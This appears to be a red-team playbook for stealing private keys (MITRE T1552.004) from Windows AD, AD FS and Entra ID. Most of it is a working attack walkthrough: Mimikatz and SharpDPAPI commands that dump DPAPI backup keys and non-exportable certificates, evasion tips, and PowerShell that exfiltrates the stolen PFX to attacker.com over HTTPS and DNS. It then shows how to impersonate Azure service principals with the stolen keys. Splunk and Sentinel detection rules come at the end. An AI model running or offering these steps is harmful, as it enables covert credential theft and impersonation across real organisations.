| Attribute | Details |
|---|---|
| Technique ID | CA-UNSC-006 |
| MITRE ATT&CK v18.1 | T1552.004 - Unsecured Credentials: Private Keys |
| Tactic | Credential Access |
| Platforms | Windows AD, Entra ID, Multi-Env (On-Premises & Cloud) |
| Severity | Critical |
| CVE | CVE-2021-33781 (PRT Key Extraction on Server 2019) |
| Author | SERVTEP (Pchelnikau Artur) |
| File Path | 03_Cred/CA-UNSC-006_Private_Keys.md |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-06 |
| Affected Versions | Windows Server 2016, 2019, 2022, 2025; Windows 10, 11 |
| Patched In | Partial mitigation in Server 2022+; TPM enforcement required for full protection |
| Author | SERVTEP – Artur Pchelnikau |
Note: Sections have been dynamically renumbered based on applicability. All sections required for a complete credential access attack are included.
Private key theft is the unauthorized extraction and exfiltration of cryptographic private keys used for authentication, encryption, and digital signatures. Attackers exploit poorly secured key storage locations—such as DPAPI-encrypted master keys in Active Directory, Entra ID device keys in system memory, AD FS token signing certificates, and Windows certificate stores—to gain access to keys that unlock authentication tokens, enable forged credentials, or decrypt sensitive communications. This attack is particularly devastating in hybrid cloud environments where the same keys protect both on-premises and cloud-based services. The threat is amplified by the fact that stolen keys provide persistent, undetectable access because they bypass conditional access policies and leave minimal forensic evidence if exfiltrated correctly.
Compromised private keys enable attackers to forge authentication tokens, bypass multi-factor authentication, impersonate privileged accounts, decrypt encrypted communications, and establish persistent covert access across hybrid cloud environments with minimal detection. Organizations exploiting stolen keys report unauthorized access lasting weeks or months before discovery, during which attackers can exfiltrate sensitive data, deploy ransomware, or pivot to cloud services with complete impunity.
Private key extraction typically requires local administrative access or exploitation of unpatched vulnerabilities (CVE-2021-33781). Modern Windows Server versions (2022+) with TPM 2.0 enforce non-exportable key storage, making extraction impossible in properly configured environments. However, legacy systems (Server 2016-2019) and systems without TPM enforcement remain fully vulnerable. Attack detection is challenging because legitimate administrative operations (certificate export, key rotation) generate identical event logs, requiring behavioral analysis and EDR-level API hooking to distinguish attacks from maintenance. Execution typically takes 5-15 minutes depending on key location and network conditions.
| Dimension | Assessment | Details |
|---|---|---|
| Execution Risk | Medium | Requires local admin (on-prem) or SYSTEM (cloud VM). Detectable if EDR monitors CryptUnprotectData API. |
| Stealth | High | Legitimate admin tools (Mimikatz, certutil) used; Event ID 4662 only logged if auditing explicitly enabled. |
| Reversibility | No | Stolen keys cannot be “un-stolen.” Domain backup key rotation invalidates stolen DPAPI keys but requires planned downtime. |
| Detection Likelihood | Medium-High | Event ID 4662 (object access), Sysmon process execution, File creation events; EDR hooks on CryptUnprotectData essential. |
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 5.1.1, 5.1.2 | Restrict access to cryptographic keys; enforce key rotation policies |
| DISA STIG | WN10-CC-000320 | Prevent export of private keys without a password; configure certificate export policies |
| CISA SCuBA | CA-1, CA-2 | Cryptographic Access Controls; require HSM or TPM storage for sensitive keys |
| NIST 800-53 | SC-12, SC-13 | Cryptographic Key Establishment and Management; protect private keys from unauthorized access |
| GDPR | Art. 32, Art. 33 | Security of Processing (encryption); mandatory breach notification if keys compromised |
| DORA | Art. 9 | Protection and Prevention; secure key management infrastructure required for financial entities |
| NIS2 | Art. 21 | Cyber Risk Management Measures; critical infrastructure must enforce key protection controls |
| ISO 27001 | A.10.1, A.10.2, A.9.2.3 | Cryptography Policy; Key Management; Management of Privileged Access Rights |
| ISO 27005 | 8.3.1 | Risk Assessment; scenario includes “Compromise of Administration Interface” via stolen credentials |
| Scenario | Required Privilege | Access Method |
|---|---|---|
| DPAPI Backup Keys (AD) | Domain Admin or SYSTEM (on domain controller) | SMB/RPC to DC via port 445 |
| Entra ID Device Keys | Local SYSTEM (on hybrid-joined device) | Direct registry/TPM access or WMI |
| AD FS Certificates | ADFS Service Admin or Local Admin | Network access to ADFS server port 443 |
| Windows Certificate Store | Local Admin or Certificate Private Key read ACL | Direct certmgr access or CryptoAPI |
| SSH Private Keys | User account ownership (~/.ssh/) | File system access to home directory |
| Version | DPAPI Extraction | Device Key Extraction | Certificate Store Export | Notes |
|---|---|---|---|---|
| Server 2016 | ✅ Full | ✅ Full (Registry) | ✅ Full | No TPM enforcement; all methods viable |
| Server 2019 | ✅ Full | ✅ Full + CVE-2021-33781 (PRT Key) | ✅ Full | PRT key directly in memory without DPAPI |
| Server 2022 | ✅ Full (if no TPM) | ⚠️ Partial (TPM enforced) | ✅ Full (non-TPM certs) | TPM 2.0 makes device keys non-exportable |
| Server 2025 | ✅ Full (if no TPM) | ⚠️ Partial (TPM enforced) | ✅ Full (non-TPM certs) | Enhanced CNG protection; TPM recommended |
| Windows 10 | ✅ Full | ✅ Full (Registry) | ✅ Full | Hybrid-joined devices vulnerable |
| Windows 11 | ✅ Full | ⚠️ Partial (TPM preferred) | ✅ Full (non-TPM certs) | TPM recommended but not enforced |
| Tool | Version | URL | Purpose | Min Version |
|---|---|---|---|---|
| Mimikatz | 2.2.0+ | https://github.com/gentilkiwi/mimikatz | DPAPI key dump, cert extraction, PRT theft | 2.2.0 |
| SharpDPAPI | 1.4.0+ | https://github.com/GhostPack/SharpDPAPI | C# DPAPI tool, credentials recovery | 1.4.0 |
| AADInternals | 0.9.6+ | https://github.com/Gerenios/AADInternals | Entra ID device key extraction (PowerShell) | 0.9.6 |
| Impacket | 0.10.0+ | https://github.com/fortra/impacket | DPAPI-NG, LSA secret extraction (Python) | 0.10.0 |
| certutil.exe | Built-in | Windows native utility | Certificate export, inspection | N/A (native) |
| OpenSSL | 1.1.1+ | https://www.openssl.org/ | PEM/PFX conversion, key analysis | 1.1.1 |
| Component | Requirement | Details |
|---|---|---|
| PowerShell | 5.0+ | Version 7.0+ recommended for cross-platform compatibility |
| Pki Module | Built-in (5.0+) | Provides Export-PfxCertificate, Get-ChildItem Cert:\ |
| .NET Framework | 4.7.2+ | Required for RSA key export operations |
Objective: Identify all certificates present in the local machine and user certificate stores to locate high-value targets (e.g., domain controller authentication certs, service account certs).
Command (All Versions):
# List all certificates in LocalMachine personal store
Get-ChildItem -Path Cert:\LocalMachine\My -Recurse | Select-Object Subject, Thumbprint, PrivateKeyExportPolicy, HasPrivateKey
# List all certificates in CurrentUser personal store
Get-ChildItem -Path Cert:\CurrentUser\My -Recurse | Select-Object Subject, Thumbprint, PrivateKeyExportPolicy, HasPrivateKey
# Check for exportable private keys
Get-ChildItem -Path Cert:\LocalMachine\My -Recurse | Where-Object {$_.PrivateKey -ne $null} | Select-Object Subject, Thumbprint
Expected Output:
Subject Thumbprint PrivateKeyExportPolicy HasPrivateKey
------- ---------- ---------------------- ---------------
CN=dc01.contoso.com ABC123DEF456... Exportable True
CN=ADFS Service Account XYZ789ABC123... NonExportable True
CN=Exchange Server QWE456RTY789... Exportable True
What This Means:
Version Note: Command syntax identical across Server 2016-2025.
Objective: Verify whether the attacker can access the DPAPI domain backup key (required for decrypting user-level DPAPI secrets across the domain).
Command (Domain-Joined Machine):
# Check if DPAPI backup key is accessible via RPC
Get-WmiObject -Query "SELECT * FROM Win32_EncryptionCertificate WHERE StoreLocation='LocalMachine'" -Namespace "root\cimv2\security\microsofttpm"
# Alternative: Check registry for DPAPI backup key presence
reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Cryptography\DPAPI\Backup"
# Verify access rights to backup key registry location
Get-Acl "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Cryptography\DPAPI\Backup" | Format-Table -AutoSize
Expected Output (Success):
Path : Microsoft.PowerShell.Security\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Cryptography\DPAPI\Backup
Owner : NT AUTHORITY\SYSTEM
Access : SYSTEM Allow Full Control
Administrators Allow Read
NETWORK SERVICE Deny All
What This Means:
Red Flags (Vulnerable Configuration):
Objective: Locate Entra ID device keys stored in registry and assess TPM protection status.
Command (Server 2016-2019, No TPM):
# Check if device is Entra ID joined
dsregcmd /status
# Locate device key in registry (Server 2016-2019 without TPM)
Get-Item -Path "HKLM:\SOFTWARE\Microsoft\Identity\User\{User-SID}\AadDeviceTransportKey"
# Check TPM status
Get-WmiObject Win32_Tpm
# List TPM-protected keys
tpm.msc # Open TPM Management Console GUI
Expected Output (Server 2016-2019, Vulnerable):
Device Name : DC01
Device ID : a1b2c3d4-e5f6-7890-abcd-ef1234567890
Join Type : Hybrid Domain Join
MDM Enrolled: Yes
Device Transport Key: Found in Registry (Non-TPM)
Expected Output (Server 2022+, Protected):
Device Name : DC01
Device ID : a1b2c3d4-e5f6-7890-abcd-ef1234567890
Join Type : Hybrid Domain Join
MDM Enrolled: Yes
TPM Status : Version 2.0, Ready
Device Transport Key: TPM-Protected (Not Exportable)
What This Means:
Version Note:
Objective: From a non-Windows system or cloud shell, verify device registration and key status.
Command (Bash/Azure Cloud Shell):
# Check Entra ID device registration
az ad device list --query "[].displayName" -o table
# Get device details (requires Azure AD admin)
az ad device show --id {device-object-id} --query "{DisplayName:displayName, DeviceId:deviceId, TrustType:trustType}"
# Check PRT issuance status
az ad device show --id {device-object-id} --query "registrationDateTime"
Expected Output:
DisplayName DeviceId TrustType
----------- -------- ---------
DC01 a1b2c3d4-e5f6-7890-abcd-ef12345678 Hybrid
SRV-ADFS b2c3d4e5-f6a7-8901-bcde-f12345678901 Hybrid
What This Means:
Objective: If you export a .pfx file from Windows, analyze it on Linux to verify private key presence.
Command (Bash):
# List certificates in PFX file
openssl pkcs12 -in exported_cert.pfx -passin pass:password -noout -info
# Extract private key from PFX
openssl pkcs12 -in exported_cert.pfx -passin pass:password -nocerts -out private_key.pem
# Verify private key is valid
openssl rsa -in private_key.pem -text -noout
Expected Output:
MAC Iteration 1
MAC verified OK
PKCS7 Encrypted data: pbeWithSHA1And3-KeyTripleDES-CBC, Iteration 2048
Certificate bag
PKCS7 Data
1 certificate
1 key
...
Private-Key: (2048 bit)
What This Means:
Supported Versions: Windows Server 2016, 2019, 2022, 2025 (if no TPM enforcement)
Prerequisites: Domain Admin or SYSTEM privilege; network access to Domain Controller (SMB 445)
Objective: Escalate from administrator to SYSTEM context required to access domain backup key via RPC.
Command (Admin PowerShell, All Versions):
# Start PowerShell as SYSTEM using PsExec
PsExec.exe -s powershell.exe
# Alternative: Use RunAs with SYSTEM token (if available)
# Or simply run: Invoke-Command -ScriptBlock { whoami } -RunAs System
Expected Output:
nt authority\system
What This Means:
OpSec & Evasion:
Troubleshooting:
C:\Tools\PsExec.exe -s powershell.exeReferences:
Objective: Obtain the Mimikatz binary, either pre-compiled or compile from source to avoid signature-based detection.
Command (Compiled from Source, Lowest Detection):
# Clone Mimikatz repository
git clone https://github.com/gentilkiwi/mimikatz.git
# Open Visual Studio and compile
# File > Open > mimikatz.sln
# Build > Build Solution (Release x64)
# Output binary: mimikatz\x64\Release\mimikatz.exe
Command (Pre-Compiled, Faster Execution):
# Download from GitHub releases (not recommended in production)
Invoke-WebRequest -Uri "https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220519/mimikatz_trunk.zip" -OutFile "C:\Temp\mimikatz.zip"
Expand-Archive -Path "C:\Temp\mimikatz.zip" -DestinationPath "C:\Temp\mimikatz"
Command (Server 2016-2019, In-Memory via PowerShell):
# Load Mimikatz in-memory (avoids disk write)
$MimikatzAssembly = [System.Reflection.Assembly]::Load([System.IO.File]::ReadAllBytes("C:\Temp\mimikatz.exe"))
Invoke-Expression "& {$MimikatzAssembly}"
Expected Output:
mimikatz 2.2.0 (x64) built on May 19 2022 15:36:36
Windows >
What This Means:
Version Note:
OpSec & Evasion:
Troubleshooting:
-c "command" flag: mimikatz.exe -c "lsadump::backupkeys /system:DC01 /export" -exitReferences:
Objective: Extract the master DPAPI backup key from the domain controller’s registry, which is required to decrypt all user-level DPAPI secrets across the domain.
Command (Mimikatz Interactive, Server 2016-2025):
mimikatz # privilege::debug
mimikatz # lsadump::backupkeys /system:DC01.contoso.com /export
Command (Mimikatz One-Liner, All Versions):
mimikatz.exe "privilege::debug" "lsadump::backupkeys /system:DC01.contoso.com /export" exit
Command (PowerShell Alternative, No Mimikatz):
# RPC-based backup key extraction (requires domain admin)
$BackupKeyPath = "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Cryptography\DPAPI\Backup"
$BackupKey = (Get-ItemProperty -Path "Registry::$BackupKeyPath" -Name "BackupKey" -ErrorAction SilentlyContinue).BackupKey
if ($BackupKey) {
[System.IO.File]::WriteAllBytes("C:\Temp\backup_key.pvk", $BackupKey)
Write-Host "Backup key exported to C:\Temp\backup_key.pvk"
}
Expected Output (Mimikatz):
RPC Connection:
ServerHandle: {3a90a92c-8e72-4b9c-b462-d2d9e50f6c1e}
Key GUID: {fcd2f6e1-d8f6-4516-9d7a-1c2b3d4e5f6g}
Version: 1
MasterKey: a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6q7r8s9t0u1v2w3x4y5z6
[*] Exporting DPAPI backup keys to: backup_key_GUID.pvk
[+] Key 1 successfully exported
What This Means:
Red Flags (Successful Exploitation):
ls -la backup_key_*.pvk)Version Note:
OpSec & Evasion:
Troubleshooting:
git clone --branch master https://github.com/gentilkiwi/mimikatz.git and recompilenslookup DC01.contoso.comTest-NetConnection DC01.contoso.com -Port 445whoami /priv | find "SeImpersonate"psexec.exe -s cmd.exe then re-run Mimikatznet group "domain admins" /domainReferences:
Objective: Use the extracted backup key to decrypt DPAPI-encrypted secrets for any user account in the domain (e.g., stored WiFi passwords, RDP credentials, Chrome saved passwords).
Command (Mimikatz, All Versions):
mimikatz # dpapi::masterkey /in:C:\Users\{USERNAME}\AppData\Roaming\Microsoft\Protect\{USERSID}\* /pvk:C:\Temp\backup_key.pvk /unprotect
Command (SharpDPAPI Alternative):
SharpDPAPI.exe credentials /pvk:C:\Temp\backup_key.pvk
Expected Output:
[*] Masterkey GUID: {a1b2c3d4-e5f6-7890-abcd-ef1234567890}
[*] Decrypting masterkey with supplied PVK...
[+] Decryption successful!
[+] Decrypted masterkey: d5e6f7a8b9c0d1e2f3a4b5c6d7e8f9a0
[*] Enumerating Credential Manager secrets...
[+] Found credential: contoso\administrator
[+] Found credential: contoso\sqlservice
[+] Found WiFi password: "MyWiFiPassword123!"
[+] Found VPN credentials: "vpn.contoso.com:username:password"
What This Means:
Business Impact (Post-Exploitation): Once user-level secrets are decrypted, attacker can:
Version Note:
OpSec & Evasion:
Troubleshooting:
wmic useraccount where name="username" get sidls C:\Users\{USERNAME}\AppData\Roaming\Microsoft\Protect\file C:\Temp\backup_key.pvk should return “data”References:
Supported Versions: Windows Server 2016, 2019, 2022, 2025 (all versions)
Prerequisites: Local Admin privilege; target certificate must have “Exportable” private key policy
Objective: Scan certificate stores for certificates with exportable private keys (easier targets than non-exportable certs).
Command (All Versions):
# Find all exportable certificates in LocalMachine store
$ExportableCerts = Get-ChildItem -Path Cert:\LocalMachine\My -Recurse | Where-Object {
($_.PrivateKey -ne $null) -and
($_.PrivateKey.CspKeyContainerInfo.Exportable -eq $true)
}
$ExportableCerts | Select-Object Subject, Thumbprint, @{Name="Exportable";Expression={$_.PrivateKey.CspKeyContainerInfo.Exportable}}
# Show high-value targets
$ExportableCerts | Where-Object {$_.Subject -match "DC|ADFS|Exchange|SQL|Service"} | Format-Table Subject, Thumbprint
Expected Output:
Subject Thumbprint Exportable
------- ---------- ----------
CN=dc01.contoso.com ABC123DEF456ABC123DEF456ABC123 True
CN=ADFS Service Account XYZ789ABC123XYZ789ABC123XYZ789 True
CN=Exchange Server QWE456RTY789QWE456RTY789QWE456 True
What This Means:
Red Flags (Vulnerable Configuration):
Version Note: Command identical across all versions.
Objective: Export the certificate and its private key to a .pfx file that can be transferred and imported on attacker infrastructure.
Command (All Versions - PowerShell):
# Get the certificate
$Cert = Get-ChildItem -Path Cert:\LocalMachine\My -Recurse | Where-Object {$_.Thumbprint -eq "ABC123DEF456..."}
# Export to PFX with password
$Password = ConvertTo-SecureString -String "P@ssw0rd123!" -AsPlainText -Force
Export-PfxCertificate -Cert $Cert -FilePath "C:\Temp\extracted_cert.pfx" -Password $Password -Force
Write-Host "Certificate exported to C:\Temp\extracted_cert.pfx"
Command (All Versions - CertUtil.exe Alternative):
# List certificates (find thumbprint first)
certutil -store my
# Export certificate to PFX
certutil -exportPFX -p "P@ssw0rd123!" -fo "C:\Temp\extracted_cert.pfx" ABC123DEF456...
Expected Output:
The command completed successfully.
Certificate exported to C:\Temp\extracted_cert.pfx
File size: 4,096 bytes
What This Means:
Version Note:
OpSec & Evasion:
Troubleshooting:
Get-ChildItem Cert:\LocalMachine\MyCert:\LocalMachine\Root or Cert:\CurrentUser\MyReferences:
Objective: Exfiltrate the .pfx file to attacker-controlled system where private key can be imported and used for authentication.
Command (HTTPS Transfer - Lowest Detection):
# Setup: Attacker runs HTTP listener
# On attacker machine: `python3 -m http.server --bind 0.0.0.0 8443`
# On target: Send file via HTTPS (TLS-encrypted upload)
$FilePath = "C:\Temp\extracted_cert.pfx"
$AttackerURL = "https://attacker.com:8443/upload"
$FileBytes = [System.IO.File]::ReadAllBytes($FilePath)
$Request = [System.Net.HttpWebRequest]::CreateHttp($AttackerURL)
$Request.Method = "POST"
$Request.ContentType = "application/octet-stream"
$Request.ContentLength = $FileBytes.Length
$RequestStream = $Request.GetRequestStream()
$RequestStream.Write($FileBytes, 0, $FileBytes.Length)
$RequestStream.Close()
$Response = $Request.GetResponse()
Command (SMB Share Transfer - For Internal Networks):
# Copy to network share (requires write access)
copy C:\Temp\extracted_cert.pfx \\attacker-system\share$\certs\extracted_cert.pfx
Command (DNS Exfiltration - Stealthy, Slow):
# For highly monitored networks
$FileBytes = [System.IO.File]::ReadAllBytes("C:\Temp\extracted_cert.pfx")
$Base64 = [Convert]::ToBase64String($FileBytes)
# Send in chunks via DNS queries
for ($i=0; $i -lt $Base64.Length; $i+=32) {
$Chunk = $Base64.Substring($i, [Math]::Min(32, $Base64.Length - $i))
nslookup "$Chunk.attacker.com"
}
Expected Output (HTTPS):
HTTP/1.1 200 OK
Content-Length: 0
[*] File transferred successfully
What This Means:
Version Note: Network behavior identical across all Windows versions.
OpSec & Evasion:
7z a -tzip -p"P@ss" cert.7z extracted_cert.pfxTroubleshooting:
Test-NetConnection attacker.com -Port 8443netstat -an | find "8443"Get-NetFirewallRule -DisplayName "*8443*"References:
Objective: Import the stolen .pfx certificate into attacker’s system to use its private key for authentication impersonation.
Command (Linux/OpenSSL - Extract Private Key):
# Extract private key from PFX
openssl pkcs12 -in extracted_cert.pfx -passin pass:"P@ssw0rd123!" -nocerts -out private_key.pem
# Extract public certificate
openssl pkcs12 -in extracted_cert.pfx -passin pass:"P@ssw0rd123!" -nokeys -out public_cert.pem
# Verify key/cert pair matches
openssl pkey -in private_key.pem -pubout > private_key_pub.pem
openssl x509 -in public_cert.pem -pubkey -noout > cert_pub.pem
diff private_key_pub.pem cert_pub.pem # Should be identical
Command (Windows - Import for Authentication):
# Import into Windows certificate store for use
$PfxPath = "extracted_cert.pfx"
$Password = ConvertTo-SecureString -String "P@ssw0rd123!" -AsPlainText -Force
# Import into LocalMachine Personal store
Import-PfxCertificate -FilePath $PfxPath -CertStoreLocation Cert:\LocalMachine\My -Password $Password -Exportable
# Verify import
Get-ChildItem -Path Cert:\LocalMachine\My | Where-Object {$_.Subject -match "dc01.contoso.com"}
Command (Use for Azure Authentication - Token Generation):
# Use stolen certificate to authenticate to Azure as the service principal
$Cert = Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Thumbprint -eq "ABC123DEF456..."}
$ClientId = "{application-id}" # Service principal app ID
$TenantId = "contoso.onmicrosoft.com"
# Connect with certificate
Connect-AzAccount -ServicePrincipal -Credential (New-Object System.Management.Automation.PSCredential(
$ClientId,
(ConvertTo-SecureString -String "cert:$($Cert.Thumbprint)" -AsPlainText -Force)
)) -TenantId $TenantId
# Now impersonate the service principal with full access
Get-AzSubscription
Expected Output (Linux):
MAC verified OK
PKCS7 Encrypted data: pbeWithSHA1And3-KeyTripleDES-CBC, Iteration 2048
PKCS7 Data
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA1+V5BzwA6VpXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
...
-----END RSA PRIVATE KEY-----
Expected Output (Windows Import):
PSComputerName : localhost
Subject : CN=dc01.contoso.com
Thumbprint : ABC123DEF456ABC123DEF456ABC123
FriendlyName :
NotBefore : 1/1/2023 12:00:00 AM
NotAfter : 1/1/2025 12:00:00 AM
What This Means:
Post-Exploitation Impact:
Version Note: Works across all Windows versions and cloud platforms.
OpSec & Evasion:
Troubleshooting:
openssl verify -CAfile root_ca.pem cert.pemImport-PfxCertificate -FilePath root_ca.cer -CertStoreLocation Cert:\LocalMachine\Rootopenssl x509 -in cert.pem -noout -datesGet-ChildItem Cert:\LocalMachine\My | Format-Table Thumbprint, SubjectReferences:
Supported Versions: Windows Server 2016, 2019, 2022, 2025 (all versions; TPM-protected keys require additional techniques)
Prerequisites: Local Admin or SYSTEM privilege; target certificate must be in LocalMachine store
Difficulty: High (requires deep kernel knowledge or specialized tools)
Objective: Identify certificates marked “non-exportable” which require special techniques to extract (these are typically high-security targets like domain controllers, ADFS servers).
Command (All Versions):
# Find non-exportable certificates
$NonExportableCerts = Get-ChildItem -Path Cert:\LocalMachine\My -Recurse | Where-Object {
($_.PrivateKey -ne $null) -and
($_.PrivateKey.CspKeyContainerInfo.Exportable -eq $false)
}
$NonExportableCerts | Select-Object Subject, Thumbprint, @{
Name="KeyContainer";
Expression={$_.PrivateKey.CspKeyContainerInfo.KeyContainerName}
} | Format-Table
# Get more details
foreach ($Cert in $NonExportableCerts) {
Write-Host "Subject: $($Cert.Subject)"
Write-Host "Key Container: $($Cert.PrivateKey.CspKeyContainerInfo.KeyContainerName)"
Write-Host "Exportable: $($Cert.PrivateKey.CspKeyContainerInfo.Exportable)"
Write-Host "Machine Keyset: $($Cert.PrivateKey.CspKeyContainerInfo.MachineKeySet)"
Write-Host "---"
}
Expected Output:
Subject Thumbprint KeyContainer
------- ---------- -----------
CN=dc01.contoso.com ABC123DEF456ABC123DEF456ABC123 {ABC-DEF-GHI-JKL}
CN=Microsoft Exchange Server Auth XYZ789ABC123XYZ789ABC123XYZ789 {XYZ-789-ABC-123}
Subject: CN=dc01.contoso.com
Key Container: {ABC-DEF-GHI-JKL}
Exportable: False
Machine Keyset: True
What This Means:
Red Flags (High-Value Targets):
Version Note: Command identical across all versions.
Objective: Use Mimikatz’s CryptoAPI hooking or kernel-level access to extract the private key bytes from memory/kernel, even though marked non-exportable.
Command (Mimikatz - crypto::certificates):
mimikatz # privilege::debug
mimikatz # crypto::certificates /systemstore:local_machine /store:my /export
Expected Output:
0. CN=dc01.contoso.com
Key Container : {ABC-DEF-GHI-JKL}
Provider Name : Microsoft RSA SChannel Cryptographic Provider v1.0
Provider Type : 1
Type : AT_SIGNATURE (2)
Exportable key : No
Key size : 2048
[*] Private Key exported to: dc01_ABC123DEF456.pvk
What This Means:
Command (Mimikatz - dpapi::capi):
mimikatz # dpapi::capi
Expected Output:
DPAPI CryptoAPI Information:
[+] DCAPI Provider Name: Microsoft RSA SChannel Cryptographic Provider v1.0
[+] Master Key: a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6
[+] Decrypted Private Key: [hex blob]
Version-Specific Notes:
Server 2016-2019:
Command works directly; keys always in plaintext/weak DPAPI encryption
Server 2022-2025 (Without TPM):
Same command works; keys in registry or unencrypted CSP storage
Risk: TPM might be configured; test with "tpm.msc"
Server 2022-2025 (With TPM Enforced):
Command may fail for TPM-protected keys with error: "TPM access denied"
Workaround: Use alternative technique (METHOD 4: WinRM Session Key Extraction)
OpSec & Evasion:
Troubleshooting:
git clone https://github.com/gentilkiwi/mimikatzwhoami should return “nt authority\system”psexec.exe -s cmd.exe/systemstore:current_user insteadReferences:
Objective: Convert Mimikatz-extracted .pvk file to industry-standard PEM or DER format for use on non-Windows systems.
Command (Linux/OpenSSL - PVK to PEM):
# Install OpenSSL (if needed)
apt-get install openssl
# Convert PVK to DER (binary format)
openssl rsa -inform PVK -in dc01_ABC123DEF456.pvk -outform DER -out dc01_private.der
# Convert DER to PEM (ASCII, portable)
openssl rsa -inform DER -in dc01_private.der -outform PEM -out dc01_private.pem
# Verify key is valid
openssl rsa -in dc01_private.pem -check -noout
Command (Windows - Use PVK as-is for Windows targets, or convert on Linux):
# If on Windows, copy .pvk file and use with signtool or custom code
# For maximum portability, convert on Linux first
# Verify PVK file is readable
[System.IO.File]::ReadAllBytes("dc01_ABC123DEF456.pvk") | Select-Object -First 16
Expected Output (Linux Conversion):
RSA Private Key Encryption Test successful
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA1+V5BzwA6VpXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
...
-----END RSA PRIVATE KEY-----
Expected Output (Verification):
RSA key ok
[1] RSA key test number 1
Key ok
What This Means:
Version Note: Conversion identical across all Windows/Linux versions.
Post-Conversion Uses:
OpSec & Evasion:
Troubleshooting:
file dc01_ABC123DEF456.pvkls -lh dc01_ABC123DEF456.pvk/export:openssl insteadReferences:
c932e4cf-2fbc-4fac-9b3f-46def5852b5dExecution Command (PowerShell):
Invoke-AtomicTest T1552.004 -TestNumbers 1
Manual Execution (If Atomic Framework Not Available):
mimikatz.exe "privilege::debug" "lsadump::backupkeys /system:DC01 /export" exit
Cleanup Command:
Remove-Item -Path "backup_key_*.pvk" -Force
Invoke-AtomicTest T1552.004 -TestNumbers 1 -Cleanup
Expected Output (Successful Test):
[+] Backup key successfully exported to backup_key_{GUID}.pvk
[+] Test completed successfully
Detection During Test:
Reference: Atomic Red Team T1552.004 GitHub
Rule Configuration:
main or custom Windows event indexWinEventLog:SecuritySPL Query:
sourcetype=WinEventLog:Security EventID=4662 ObjectType="SecretObject"
AccessMask="0x2" ObjectName="*BCKUPKEY*"
| stats count by SubjectUserName, Computer, ObjectName
| where count >= 1
What This Detects:
Manual Configuration Steps (Splunk Web UI):
False Positive Analysis:
NOT SubjectUserName="svc_splunk" (if using Splunk for vulnerability scans)_time > "09:00" AND _time < "18:00"Advanced Variants:
# Variant 1: Catch secondary lookups after extraction (multiple object accesses)
sourcetype=WinEventLog:Security EventID=4662 ObjectType="SecretObject"
AccessMask IN ("0x2", "0x1")
| stats count by SubjectUserName
| where count > 3
# Variant 2: Correlate with Mimikatz process execution
(sourcetype=WinEventLog:Security EventID=4688 CommandLine="*mimikatz*")
OR (sourcetype=WinEventLog:Security EventID=4662 ObjectName="*BCKUPKEY*")
| transaction SubjectUserName startswith="CommandLine"
Source: Splunk Research - Windows Certificate Services
Rule Configuration:
main or Windows event indexWinEventLog:SecuritySPL Query:
sourcetype=WinEventLog:Security (EventID=4688 AND ProcessName="*certutil.exe")
CommandLine IN ("*exportPFX*", "*export*", "*-exportPFX*")
| stats count by SubjectUserName, Computer, CommandLine
What This Detects:
Manual Configuration Steps:
False Positive Analysis:
NOT SubjectUserName IN ("svc_backup_system", "svc_cert_manager")
NOT Computer IN ("backup-server", "cert-server")
Source: GitHub Splunk Security Content - CertUtil Detection
Rule Configuration:
AuditLogsKQL Query:
AuditLogs
| where OperationName has "DPAPI" or OperationName has "BackupKey"
| where ActivityResult =~ "Success"
| project InitiatedBy, TargetResources, OperationName, ActivityDateTime, Result
| extend UPN = tostring(InitiatedBy.user.userPrincipalName)
| summarize Count=count() by UPN, OperationName, ActivityDateTime
| where Count >= 1
What This Detects:
Manual Configuration Steps (Azure Portal):
DPAPI Backup Key Extraction AttemptManual Configuration Steps (PowerShell):
# Connect to Sentinel
Connect-AzAccount
$ResourceGroup = "YourResourceGroup"
$WorkspaceName = "YourSentinelWorkspace"
# Create the alert rule
$AlertRule = @{
ResourceGroupName = $ResourceGroup
WorkspaceName = $WorkspaceName
DisplayName = "DPAPI Backup Key Extraction Attempt"
Query = @'
AuditLogs
| where OperationName has "DPAPI" or OperationName has "BackupKey"
| where ActivityResult =~ "Success"
| project InitiatedBy, TargetResources, OperationName, ActivityDateTime, Result
| extend UPN = tostring(InitiatedBy.user.userPrincipalName)
| summarize Count=count() by UPN, OperationName, ActivityDateTime
| where Count >= 1
'@
Severity = "Critical"
Enabled = $true
Frequency = 5 # minutes
Period = 1440 # minutes (24 hours)
}
New-AzSentinelScheduledAlertRule @AlertRule
Source: Microsoft Sentinel AuditLogs Schema
Rule Configuration:
SigninLogs, AADServicePrincipalSignInLogsKQL Query:
AADServicePrincipalSignInLogs
| where AuthenticationMethodDetail =~ "Certificate"
| where Status == "Success"
| extend CertDetails = parse_json(tostring(AuthenticationDetails))
| where timestamp > ago(24h)
| summarize SignInCount=count(), FirstSeen=min(timestamp), LastSeen=max(timestamp) by AppId, ClientId, ServicePrincipalId
| where SignInCount > 10 # Threshold for abnormal activity
What This Detects:
Manual Configuration Steps (Azure Portal):
Suspicious Service Principal Certificate AuthenticationLog Source: Security event log Event Name: Directory Service Access Trigger: Access to DPAPI backup key or other sensitive LDAP objects Filter: ObjectType=’SecretObject’ AND AccessMask=0x2 Applies To Versions: Windows Server 2016+
Manual Configuration Steps (Group Policy - Domain Level):
gpupdate /force on all domain controllersManual Configuration Steps (Server 2022+ - via PowerShell):
# Enable DSACL auditing on domain controller
auditpol /set /subcategory:"Directory Service Access" /success:enable /failure:enable
# Verify
auditpol /get /subcategory:"Directory Service Access"
Manual Configuration Steps (Local Policy on Single Server):
auditpol /set /subcategory:"Directory Service Access" /success:enable /failure:enable
Event Details to Monitor:
Expected Log Entry (Normal Activity - Backup):
